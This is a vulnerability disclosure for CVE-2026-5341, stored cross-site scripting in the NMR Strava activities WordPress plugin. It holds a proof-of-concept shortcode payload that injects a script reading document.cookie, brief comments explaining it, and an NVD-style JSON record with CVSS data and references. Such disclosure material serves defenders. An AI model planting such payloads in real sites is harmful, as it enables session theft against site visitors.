CVE-2026-5341

[strava_nmr_connect attribute_name='"><script>alert(document.cookie)</script>'] <!-- Explanation: --> <!-- 1. The attacker inserts the above shortcode into a post or page. --> <!-- 2. The attribute_value is not properly sanitized before being stored or rendered. --> <!-- 3. When the page is viewed, the script tag breaks out of the HTML attribute context and executes JavaScript. -->

{"cve": {"id": "CVE-2026-5341", "sourceIdentifier": "[email protected]", "published": "2026-05-08T10:16:28.917", "lastModified": "2026-05-08T15:46:11.563", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The NMR Strava activities plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `strava_nmr_connect` shortcode in all versions up to, and including, 1.0.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/nmr-strava-activities/tags/1.0.14/nmr-strava-activities.php#L247", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/nmr-strava-activities/tags/1.0.14/nmr-strava-activities.php#L259", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/nmr-strava-activities/tags/1.0.15/nmr-strava-activities.php#L240", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/nmr-strava-activities/tags/1.0.15/nmr-strava-activities.php#L251", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3524779%40nmr-strava-activities%2Ftrunk&old=3520018%40nmr-strava-activities%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7e033919-ca00-4789-8635-b4189e1499ef?source=cve", "source": "[email protected]"}]}}